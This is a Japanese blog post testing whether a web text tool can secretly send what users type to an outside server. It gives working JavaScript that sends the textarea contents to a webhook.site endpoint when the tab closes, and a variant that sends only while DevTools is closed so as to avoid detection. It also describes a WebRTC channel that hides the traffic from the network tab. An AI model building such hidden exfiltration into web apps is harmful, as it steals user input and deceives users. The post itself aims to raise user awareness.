Webアプリで秘匿にデータを送信できるか検証する

はじめに

文字数をカウントしたり、文章校正をしたり、文字列の差分を表示をするために気軽にWebのツールを使うことが度々あります。そのようなツールを使っていると、「入力した文字列がこっそりと外部に送信されているのではないだろうか?」とよく考えてしまいます。気になっていたので極力ユーザーにバレることなくデータを外部に送信することが可能なのか以下の3つの方式で検証してみました。

  • ユーザーがタブを閉じたり、別ページへ遷移したことを検知してデータを送信する手法
  • WebRTCを用いてテキストを送信する手法
  • ブラウザのDevToolsの開閉状態を利用する手法

「バレることなく」と言ってもネットワークを監視したり、Proxyを用意して通信を見ればすぐに知られるので、あくまでブラウザの動作だけを見て判断されないような実装で検証します。

検証環境

検証環境は以下の通りです。今回の検証はChromeのみで行います。

  • ブラウザ:Chrome 123.0.6312.123(Official Build)
  • 端末 : MacBook Air M1, 2020
  • OS : Sonoma 14.2.1
  • 使用ツール:webhook.site (リクエストを受け付けるエンドポイントを作ってくれるサービスです。データの外部送信先として利用します)

なお、今回は検証を主目的としており、実装の美しさなどは重視していません。そのため、美しいコードになっていない部分がありますが、ご了承ください。

検証

ベースとなるwebアプリ

ベースとなるwebアプリは、バイト数計算アプリです。ボタンを押すと、テキストエリアに記載された文字列のバイト数を計算し結果を表示します。文字カウンタだと考えてください。今回のバイト数計算アプリのコードはGPTで簡単に作成しました。以下はサンプルコードとアプリの実行結果です。

<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <title>バイト数計算アプリ</title>
</head>
<body>
    <h1>バイト数計算アプリ</h1>
    <textarea id="text-input" placeholder="テキストを入力してください"></textarea>
    <button onclick="calculateBytes()">計算</button>
    <div id="byte-count">バイト数: 0</div>
    <script>
      function calculateBytes() {
        var text = document.getElementById('text-input').value;
        var byteCount = new Blob([text]).size;
        document.getElementById('byte-count').innerText = 'バイト数: ' + byteCount;
      }
    </script>
</body>
</html>

ユーザーがタブを閉じたり、別ページへ遷移したことを検知してデータを送信する手法

ユーザーが遷移するときに任意のスクリプトを実行するには、beforeunload というイベントを利用することで実現できます。例えば、ブログなどを書いているときにタブを閉じようとすると「行った変更が保存されない可能性があります。」という警告が表示されることがありますが、これがその例です。この手法を実装するために、以下のようなスクリプトをバイト数計算アプリのサンプルコードに追加します。

window.addEventListener('beforeunload', function(event) {
    var text = document.getElementById('text-input').value;
    navigator.sendBeacon('https://webhook.site/<uuid>', JSON.stringify(text));
});

このように文字を入力した状態でタブを閉じてみます。

webhook.siteで確認すると無事リクエストが届き、入力していた文字列も取得できていることがわかります。

また、別サイトへの遷移やページをリロードしたりする時にも同様にリクエストが送信され、この手法は実際に利用可能であるとわかりました。ツールを利用後、入力した文字をそのまま残した状態でタブを閉じる人は多いと思うので、そういったユーザーに対して非常に有効な手法だと感じました。

WebRTCを用いてテキストを送信する手法

WebRTCは、ブラウザ間でのリアルタイムの音声、映像、データ通信を可能にするオープンソースの技術です。このWebRTCは、対象とP2Pで通信を行うため、ブラウザのネットワークタブで通信を確認できないという特徴があります。この特徴を利用し、意識の高いユーザーにネットワークタブを監視されていたとしてもバレないようにデータを送信できるか検証します。
実際にこちらのコードを参考にしてWebRTCでデータをこっそり送信するアプリを作りました。左側がユーザーで右側が監視する側です。両者がページを開くと通信が確立され、ユーザーが計算ボタンを押すと入力内容が監視側に送信される仕組みです。

この時、ネットワークタブを監視しているとページロード時にWebSocketの通信が発生することが確認できました。しかし、その後WebRTCを用いたデータ送信の通信は表示されませんでした。

そのため、ページのロード前からネットワークタブを開いていた場合は少し怪しく見えますが、その後の通信は発生していないように見えるため、かなりバレにくい手法だと思います。特にネットワークタブで通信を確認することができる知識がある人ほど、この手法は効果的に機能すると思いました。

ただしWebRTCの場合、Chromeのchrome://webrtc-internalsへアクセスするとデバッグ情報が表示されます。このデバッグ情報を確認すると通信が行われていることがバレる可能性があり、更に技術的な知識のある人にはバレやすいかもしれません。

ブラウザのDevToolsの開閉状態を利用する手法

ネットワークタブから見えてしまう通信方式を利用してデータを外部に送信する場合でも、DevToolsが開かれていないタイミングを狙えばバレる可能性が低くなります。そのため、計算ボタンを押したときにDevToolsが開かれていればデータを送信せず、DevToolsが開かれていなければデータを送信する、というようにボタンを実装します。DevToolsの開閉状態の取得にはいくつかのライブラリがありますが、今回はdevtools-detectorを使いました。他のライブラリではDevToolsのポップアップ表示時に検知できないことが多数ありましたが、このライブラリは問題なく検知できました。

このライブラリを使って、以下のように実装しました。

<script src="node_modules/devtools-detector/lib/devtools-detector.js"></script>
<script>
  var isOpenGlobal = false;
  devtoolsDetector.addListener(function(isOpen) {
    isOpenGlobal = isOpen;
  });
  devtoolsDetector.launch();

  function calculateBytes() {
    var text = document.getElementById('text-input').value;
    var byteCount = new Blob([text]).size;
    document.getElementById('count').innerText = 'バイト数: ' + byteCount;
    if (!isOpenGlobal) {
      navigator.sendBeacon('https://webhook.site/<uuid>', JSON.stringify(text));
    }
  }
</script>

実際に検証してみると、DevToolsが閉じているときのみデータを送信することができました。

ネットワークタブが開かれていない状態でデータが送信され、その後、ネットワークタブを開いてもこのようにデータの送信を行っている様子は確認できませんでした。

まとめ

今回の検証から、意外にもこのような手法が成立することがわかりました。手法としては他にも色々あり、今回検証した手法を組み合わせたりして、もっと巧妙に難しくすることもできると思います。例えば、DevToolsの開閉状態によってWebRTC接続を制御する手法や、別のタブの状態などを取得できればもっと幅が広がりそうですね。また、今回は行っていませんがJavaScriptのコードをバンドルしたり、難読化することでソースコードを見た時に、どういった処理を行っているかを分かりづらくすることも可能でしょう。これからは、Webのツールを利用して機密性の高い情報などを取り扱う際には十分注意しましょう。